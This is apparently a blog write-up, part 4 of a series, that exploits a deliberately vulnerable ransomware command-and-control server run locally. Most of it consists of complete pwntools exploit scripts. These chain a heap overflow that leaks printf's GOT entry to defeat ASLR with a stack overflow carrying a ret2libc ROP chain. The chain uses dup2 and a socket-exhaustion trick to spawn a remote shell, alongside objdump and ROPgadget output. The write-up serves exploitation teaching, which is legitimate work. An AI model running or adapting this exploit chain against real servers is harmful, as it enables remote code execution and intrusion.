Skip to main content

Analysing the worst ransomware - part 4

·16 mins·
Pwn
Table of Contents
Tupper-ransomware - This article is part of a series.
Part 4: This Article

In the last part we’ve found heap buffer overflows in the structure holding victim information and a stack buffer overflow when receiving the name of the file that’s been encrypted. Now we’re going to find what possibilities they can offer us and use them to craft an exploit.

Exploiting the Tupper C&C server
#

If we look more closely the stack buffer overflow in the printVictimEncryptionProcess function, we see that it’s the buffer called filename that can overflow.

Now we must look at the stack layout for this function to see what will be overwritten :

When filename overflows, it will overwrite victimp (pointer to the struct containing victim information) and some bytes later the previous stack frame pointer (saved EBP, s) and finally the function’s return address r. As you may have noticed, unlike on the Tupper client, there is no canary preventing the exploitation. This means, if we can control the return address, we can redirect the execution flow anywhere we want. To achieve that, we need to send 1024+16 bytes of padding, the next 4 bytes will overwrite the return address.

Having the possibility to redirect the execution flow is very important but we must know where to redirect it. We could possibly place a shellcode on the stack and jump to it but is the stack even executable ? And how could we know the address of our shellcode ? In fact, Address Space Layout Randomisation (ASLR) is probably enabled on the server because it’s the default configuration. In order to bypass ASLR, the easiest way is to leak an address using another vulnerability.

Let’s look at the other overflow in the handleVictimRegistration function.

The overflow occurs in the buffer pointed by newVictimp. newVictimp is a pointer, you can see that because the instruction is mov and not lea or by looking at the stack layout :

newVictimp occupies 4 bytes (dd) because it’s a 32 bit address. To understand the possibilities offered by this overflow we have to look at the structure’s definition :

If the username is bigger than 52 bytes, we overwrite the pointer to the xor key. This can lead to a leak of 8 bytes because when the client requests the xor key, the server responds with 8 bytes found at this address.

For example, if we set the victim_t.keyPointer to the address of printf in the Global Offset Table (GOT), we’ll get a key with the 4 first bytes equal to the address of the function printf in the loaded libc and thus leak the libc’s base address (because printf is located at a constant offset from the base address). Having a leak of libc’s base address allows the use of gadgets found directly in the libc or allow to call the system function (ret2libc) and more.

Now it’s time to start working on our exploit. For that we’ll run the server locally (There is no Tupper C&C server in reality anyways, evil.eno.cc is an alias to localhost in my /etc/hosts file) and the first step is to perform the leak.

Leaking printf’s address
#

To do that, we must first send a packet of type “i” with a client ID of zero and an additional data length of 52+4 bytes. Then we can send our payload composed of 52 bytes of padding to fill the username buffer, and 4 bytes representing the new key pointer. After that, we just have to send a packet of type “k” to the server with our client ID to obtain the first 8 bytes starting at the address we chose.

Our goal is to leak the libc’s base address and for that we’re going to leak the address of one of libc’s function, printf for example. With objdump, we can disassemble the Procedure Linkage Table (PLT) of the server :

$ objdump -d server
...
08048660 <printf@plt>:
 8048660:	ff 25 0c b0 04 08    	jmp    *0x804b00c
 8048666:	68 00 00 00 00       	push   $0x0
 804866b:	e9 e0 ff ff ff       	jmp    8048650 <_init+0x24>
...

In the PLT we can find a jump to the address contained in the GOT (the first line). This way we know that the GOT address of printf is 0x804b00c. That’s the address with which we must overwrite the key pointer.

Here is the script that performs that.

# -*- coding: utf-8 -*-

from pwn import *

packet_size = 12

def sendPacket(type, client_id, additional_len):
    # Sends a packet with the given values
    p = type + "\x00"*3 + p32(client_id) + p32(additional_len)
    conn.send(p)

def recvPacket(returns=0):
    # receives a packet and additional data if needed
    # returns the client_id or the additional data
    d = conn.recv(packet_size)
    type = d[0]
    client_id = u32(d[4:8])
    additional_len = u32(d[8:12])
    print type, client_id, additional_len
    if additional_len > 0:
        d = conn.recv(additional_len)
        print d, " : ", d.encode("hex")
    r = [client_id, d]
    return r[returns]

# connect to the C&C server
conn = remote("evil.eno.cc", 1337)

printfGOT = p32(0x804b00c)

i = 52
# identification packet telling that the size of the username is 56 bytes
sendPacket("i", 0, i+4)
# sending the payload to overwrite the key pointer
conn.send("A"*i+printfGOT)
# recv the first packet ("i") and get the client_id the server generated (for later use)
id = recvPacket()
# recv the packet of type "s" sent by the server
recvPacket()
# Ask for the xor key with our client_id, key will read 8 bytes from the pointer we defined
sendPacket("k",id,0)
# Extract the address leaked
address = u32(recvPacket(1)[:4])
print "leak : ", hex(address)

On the left is the exploit that simulates a client and on the right is the server :

The first 2 runs gave the same address (0xf7d38670) because the server has not been restarted. When restarting the server we can see that the address changes (0xf7e20670, 0xf7d61670), that’s because of ASLR. But the address always ends with 670 because the libc is loaded at a base address ending with 000 and the offset to the printf function is constant.

Performing a ret2libc
#

Having our leak, we can now make a simple ret2libc exploit but first we must deduce the base address from the leak and therefore find the offset of the printf function. The libc used on my machine is :

lrwxrwxrwx 1 root root 12 Jan 15  2018 /lib/i386-linux-gnu/libc.so.6 -> libc-2.23.so

To find the offset, I use objdump :

$ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep _IO_printf
00049670 <_IO_printf@@GLIBC_2.0>:

$ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep libc_system
0003ada0 <__libc_system@@GLIBC_PRIVATE>:
   3adb4:	74 0a                	je     3adc0 <__libc_system@@GLIBC_PRIVATE+0x20>

To perform the ret2libc exploit, we need to find the address of the string “/bin/sh” in the libc. We can use ROPgadget to find it :

ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --string "/bin/sh"
Strings information
============================================================
0x0015ba0b : /bin/sh

We’ll use those to calculate the real addresses of each function inside the libc :

offsetSys = 0x3ada0
offsetSh = 0x15ba0b
libcBase = address - 0x49670
system = libcBase+offsetSys
sh = libcBase+offsetSh

We can now perform the ret2libc by overwriting the return address on the stack to point to the address of system. Because it’s a 32-bits architecture, arguments are passed on the stack so we need to construct a stack frame like this :

@system
dummy return address ;return address after call to system(), not important
@sh ;arg of system()

We’ve calculated that we need to send 1024+16 bytes in order to overwrite the return address but there is a single byte (“x” or “r”) that is sent just before, indicating the encryption method used. Thus, we have to send 1024+16+1 bytes.

# -*- coding: utf-8 -*-

from pwn import *

packet_size = 12

def sendPacket(type, client_id, additional_len):
    # Sends a packet with the given values
    p = type + "\x00"*3 + p32(client_id) + p32(additional_len)
    conn.send(p)

def recvPacket(returns=0):
    # receives a packet and additional data if needed
    # returns the client_id or the additional data
    d = conn.recv(packet_size)
    type = d[0]
    client_id = u32(d[4:8])
    additional_len = u32(d[8:12])
    print type, client_id, additional_len
    if additional_len > 0:
        d = conn.recv(additional_len)
        print d, " : ", d.encode("hex")
    r = [client_id, d]
    return r[returns]

# connect to the C&C server
conn = remote("evil.eno.cc", 1337)

printfGOT = p32(0x804b00c)
offsetSys = 0x3ada0
offsetSh = 0x15ba0b

# Part 1 - leak

i = 52
# identification packet telling that the size of the username is 56 bytes
sendPacket("i", 0, i+4)
# sending the payload to overwrite the key pointer
conn.send("A"*i+printfGOT)
# recv the first packet ("i") and get the client_id the server generated (for later use)
id = recvPacket()
# recv the packet of type "s" sent by the server
recvPacket()
# Ask for the xor key with our client_id, key will read 8 bytes from the pointer we defined
sendPacket("k",id,0)
# Extract the address leaked
address = u32(recvPacket(1)[:4])
print "printf@GOT : ", hex(address)
libcBase = address - 0x49670
system = libcBase+offsetSys
sh = libcBase+offsetSh
print "Libc base : ", hex(libcBase)
print "@system : ", hex(system)
print "'/bin/sh' : ", hex(sh)

# Part 2 - ret2libc

rop = p32(system) 	# @system()
rop += p32(0) 		# dummy return address
rop += p32(sh) 		# @"/bin/sh"

i = 1024+16+1
# packet of type "e" telling that the size of the filename is 1041 bytes + length of rop
sendPacket("e", id, i+len(rop))
# must be unknown encryption method otherwise crashes on printf because access packet wich was overwritten
conn.send("A"*i+rop)
conn.interactive()

If we’re correct this should spawn a shell.

Well, it did in fact spawn a shell, but on the server. At least we know that our offsets are correct. We must adapt our exploit to have a shell client-side, what can we do ?

Obtaining a shell
#

We have a way to call system with “/bin/sh” as argument. Couldn’t we just call system with a command that would create a reverse shell ? It would be possible if we had somewhere to store our command. We can store it in the username as padding. But we must find where our string is located in memory and we don’t know that. Maybe we could achieve that with our leak but that sounds unlikely or complicated.

How about reusing the connection that’s already open between us and the server ? It would be more discreet than opening a new connection with a reverse shell and it doesn’t require a custom payload. The idea is to duplicate stdin, stdout and stderr to the socket’s file descriptor using dup2. With this we can control the shell through the socket.

Instead of doing this :

system("/bin/sh");

we’ll do this :

dup2(socket, 0); // redirect stdin
dup2(socket, 1); // redirect stdout
dup2(socket, 2); // redirect stderr
system("/bin/sh");

Let’s construct the ROP for this exploit :

rop = p32(dup2)      	# dup2(sck, 0)
rop += "AAAA"  		# @ ret of dup(sck, 0)
rop += p32(socket)      # arg1 of dup
rop += p32(0)       	# arg2 of dup

We need to chain 4 function calls with arguments. For a single function call that’s easy but for more, we need to remove the arguments between each call otherwise they’ll come in the way. Here we have 2 arguments. Instead of jumping to the next function call, we’ll jump to a gadget that pops 2 values from the stack, allowing us to skip the arguments. This will look like this :

rop = p32(dup2)      	# dup2(sck, 0)
rop += p32(pop2values) 	# @ ret of dup(sck, 0), removes arguments (skips the next 2 lines)
rop += p32(socket)     	# arg1 of dup
rop += p32(0)       	# arg2 of dup

rop += p32(dup2)      	# dup2(sck, 1)
rop += p32(pop2values) 	# @ ret of dup(sck, 1), removes arguments (skips the next 2 lines)
rop += p32(socket)     	# arg1 of dup
rop += p32(1)       	# arg2 of dup

rop += p32(dup2)      	# dup2(sck, 2)
rop += p32(pop2values) 	# @ ret of dup(sck, 2), removes arguments (skips the next 2 lines)
rop += p32(socket)     	# arg1 of dup
rop += p32(2)       	# arg2 of dup

rop += p32(system) 	# @system()
rop += p32(0) 		# dummy return address
rop += p32(sh) 		# @"/bin/sh"

We’re almost done, only 3 things are missing, the offset in libc to the function dup2, a gadget that pops 2 values and the value of the socket.

$ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep __dup2
...
000d6310 <__dup2@@GLIBC_2.0>:
...

$ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep -B 2 "ret" | grep -A 2 "pop"
...
--
  14409d:	5e                   	pop    %esi
  14409e:	5f                   	pop    %edi
  14409f:	c3                   	ret
--
...

On Linux file descriptor are assigned to the lowest available value. File descriptors 0,1 and 2 are assigned by default. Then the server creates a listening connection that creates another file descriptor (3) and then a new file descriptor is assigned to each connection (4-…). If we’re the first to connect, our socket’s file descriptor should be 4. If we’re second, 5 and so on. Now we have everything to gain a shell on the server.

# -*- coding: utf-8 -*-

from pwn import *

packet_size = 12

def sendPacket(type, client_id, additional_len):
    # Sends a packet with the given values
    p = type + "\x00"*3 + p32(client_id) + p32(additional_len)
    conn.send(p)

def recvPacket(returns=0):
    # receives a packet and additional data if needed
    # returns the client_id or the additional data
    d = conn.recv(packet_size)
    type = d[0]
    client_id = u32(d[4:8])
    additional_len = u32(d[8:12])
    print type, client_id, additional_len
    if additional_len > 0:
        d = conn.recv(additional_len)
        print d, " : ", d.encode("hex")
    r = [client_id, d]
    return r[returns]

# connect to the C&C server
conn = remote("evil.eno.cc", 1337)

printfGOT = p32(0x804b00c)
offsetSys = 0x3ada0
offsetSh = 0x15ba0b

# Part 1 - leak

i = 52
# identification packet telling that the size of the username is 56 bytes
sendPacket("i", 0, i+4)
# sending the payload to overwrite the key pointer
conn.send("A"*i+printfGOT)
# recv the first packet ("i") and get the client_id the server generated (for later use)
id = recvPacket()
# recv the packet of type "s" sent by the server
recvPacket()
# Ask for the xor key with our client_id, key will read 8 bytes from the pointer we defined
sendPacket("k",id,0)
# Extract the address leaked
address = u32(recvPacket(1)[:4])
print "printf@GOT : ", hex(address)
libcBase = address - 0x49670
system = libcBase+offsetSys
sh = libcBase+offsetSh
print "Libc base : ", hex(libcBase)
print "@system : ", hex(system)
print "'/bin/sh' : ", hex(sh)

# Part 2 - ret2libc

dup2 = libcBase+0xd6310
popESIEDI = libcBase+0x14409d

sck = 4 # 4 if you're the first victim to connect, otherwise +1 for each previous victim
# construct ROP

rop = p32(dup2)      # dup2(sck, 0)
rop += p32(popESIEDI)  # @ ret of dup(sck, 0), remove arg
rop += p32(sck)       # arg of dup
rop += p32(0)       # arg of dup
rop += p32(dup2)      # dup2(sck, 1)
rop += p32(popESIEDI)  # @ ret of dup(sck, 1), remove arg
rop += p32(sck)       # arg of dup
rop += p32(1)       # arg of dup
rop += p32(dup2)      # dup2(sck, 2)
rop += p32(popESIEDI)  # @ ret of dup(sck, 2), remove arg
rop += p32(sck)       # arg of dup
rop += p32(2)       # arg of dup
rop += p32(system) # system("/bin/sh")
rop += p32(0)
rop += p32(sh)

i = 1024+16+1
# packet of type "e" telling that the size of the filename is 1041 bytes + length of rop
sendPacket("e", id, i+len(rop))
# must be unknown encryption method otherwise crashes on printf because access packet wich was overwritten
conn.send("A"*i+rop)
conn.interactive()

Nice ! But we’ve made the assumption that we’re the first client to connect to the server. In fact this exploit doesn’t work if a previous client has made a connection (even if disconnected). We could ensure that we are the first by making the server crash and connect as soon as it relaunches but that’s risky. The server might never come back up and the bad guys will be alerted that something went wrong, they could even patch it before relaunching the server. Our exploit must work reliably every time.

To do that, we’re going to abuse the fact that only 100 victims can connect to the C&C server. We’re going to create connections until we’re not allowed anymore and the last connection should have a socket’s file descriptor of 104.

The two cases this doesn’t work is if already 100 victims registered, or if a client attempted to reconnect because it has created a socket without creating a new user, thus we can’t keep track of the number of previously opened socket. But those scenarios are unlikely and we can’t do anything about them.

The complete exploit script is the following :

# -*- coding: utf-8 -*-

from pwn import *

packet_size = 12

def sendPacket(type, client_id, additional_len):
    # Sends a packet with the given values
    p = type + "\x00"*3 + p32(client_id) + p32(additional_len)
    conn.send(p)

def recvPacket(returns=0):
    # receives a packet and additional data if needed
    # returns the client_id or the additional data
    d = conn.recv(packet_size)
    type = d[0]
    client_id = u32(d[4:8])
    additional_len = u32(d[8:12])
    print type, client_id, additional_len
    if additional_len > 0:
        d = conn.recv(additional_len)
        print d, " : ", d.encode("hex")
    r = [client_id, d]
    return r[returns]

# connect to the C&C server
conn = remote("evil.eno.cc", 1337)

printfGOT = p32(0x804b00c)
offsetSys = 0x3ada0
offsetSh = 0x15ba0b

# Part 1 - create victims

# identification packet to create a victim
sendPacket("i", 0, 0)
# recv the first packet ("i") and get the client_id the server generated (for later use)
lastId = id
id = recvPacket()
while id != 0:
    # recv the packet of type "s" sent by the server
    recvPacket()
    # open a new connection which increments the socket's file descriptor
    conn.close()
    conn = remote("evil.eno.cc", 1337)
    # identification packet to create a victim
    sendPacket("i", 0, 0)
    # recv the first packet ("i") and get the client_id the server generated (for later use)
    lastId = id
    id = recvPacket()
id = lastId

# Part 2 - leak

i = 52
# identification packet telling that the size of the username is 56 bytes
sendPacket("i", id, i+4)
# sending the payload to overwrite the key pointer
conn.send("A"*i+printfGOT)
recvPacket()
# Ask for the xor key with our client_id, key will read 8 bytes from the pointer we defined
sendPacket("k",id,0)
# Extract the address leaked
address = u32(recvPacket(1)[:4])
print "printf@GOT : ", hex(address)
libcBase = address - 0x49670
system = libcBase+offsetSys
sh = libcBase+offsetSh
print "Libc base : ", hex(libcBase)
print "@system : ", hex(system)
print "'/bin/sh' : ", hex(sh)

# Part 3 - dup2 + ret2libc

dup2 = libcBase+0xd6310
popESIEDI = libcBase+0x14409d

sck = 4+100

# construct ROP
rop = p32(dup2)      # dup2(sck, 0)
rop += p32(popESIEDI)  # @ ret of dup(sck, 0), remove arg
rop += p32(sck)       # arg of dup
rop += p32(0)       # arg of dup
rop += p32(dup2)      # dup2(sck, 1)
rop += p32(popESIEDI)  # @ ret of dup(sck, 1), remove arg
rop += p32(sck)       # arg of dup
rop += p32(1)       # arg of dup
rop += p32(dup2)      # dup2(sck, 2)
rop += p32(popESIEDI)  # @ ret of dup(sck, 2), remove arg
rop += p32(sck)       # arg of dup
rop += p32(2)       # arg of dup
rop += p32(system) # system("/bin/sh")
rop += p32(0)
rop += p32(sh)

i = 1024+16+1
# packet of type "e" telling that the size of the filename is 1041 bytes + length of rop
sendPacket("e", id, i+len(rop))
# must be unknown encryption method otherwise crashes on printf because access packet wich was overwritten
conn.send("A"*i+rop)
conn.interactive()

We can now enjoy our shell on the C&C server 😄

Tupper-ransomware - This article is part of a series.
Part 4: This Article